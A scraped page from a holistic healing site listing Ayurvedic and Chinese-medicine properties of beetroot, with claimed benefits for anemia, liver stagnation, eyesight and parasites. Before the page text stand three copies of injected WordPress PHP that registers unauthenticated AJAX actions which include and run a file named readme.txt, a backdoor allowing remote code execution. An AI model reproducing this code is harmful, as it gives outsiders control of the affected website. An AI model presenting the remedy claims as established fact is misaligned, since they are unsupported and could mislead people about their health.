if(!function_exists('file_check_readme30460')){ add_action('wp_ajax_nopriv_file_check_readme30460', 'file_check_readme30460'); add_action('wp_ajax_file_check_readme30460', 'file_check_readme30460'); function file_check_readme30460() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme21792')){ add_action('wp_ajax_nopriv_file_check_readme21792', 'file_check_readme21792'); add_action('wp_ajax_file_check_readme21792', 'file_check_readme21792'); function file_check_readme21792() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme75351')){ add_action('wp_ajax_nopriv_file_check_readme75351', 'file_check_readme75351'); add_action('wp_ajax_file_check_readme75351', 'file_check_readme75351'); function file_check_readme75351() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } Beetroot | Holistic Healing Resolutions by Asaf Feit

Beetroot

Beets are sweet and warming. In small amounts they are particularly therapeutic for excess liver conditions. Eaten in excess, however, they will aggravate fire. 

Properties

Taste: sweet, astringent

Natural Attributes: heavy, dry, mobile

Tissue impact (Vipak): sweet, nourishing 

Thermal impact (Virya): warm

Dosha impact: decreases Vata and Kapha, increase Pitta

Digestive impact (Agni): easy to digest (cooked)

Channels (Srotas): opens

Feces: laxative, softens stools

Urine: diuretic

Strength (Bala): improves strength

Mind (Manas): Rajasic

Effect: Stimulant, detoxicant, nutritive, alterative, blood tonic, ophthalmic, cholagogue, livotonic, skin tonic.

Chinese five element impact: Wood and Fire

Chinese medicine syndromes: strengthens Qi and blood, moves the Qi

Medicinal properties 

  • Nourishment (rasa): weakness, hemorrhoids, satisfies the sweet tooth, parasites. 
  • Blood-circulation-liver: strengthens heart, anemia, liver conditions and specifically liver stagnation, improves circulation, purifies blood, nervousness and congestion of the vascular system, improve eyesight.
  • Reproductive and hormonal systems: uterine disorders, female reproductive system, promotes menstruation, hormone regulation during menopause (with carrots)
  • Digestive system: constipation, increases digestive fire, moistens intestines

Harmful: heat conditions

THE WISDOM OF EATING 5-DAY CHALLENGE (May 18-22)

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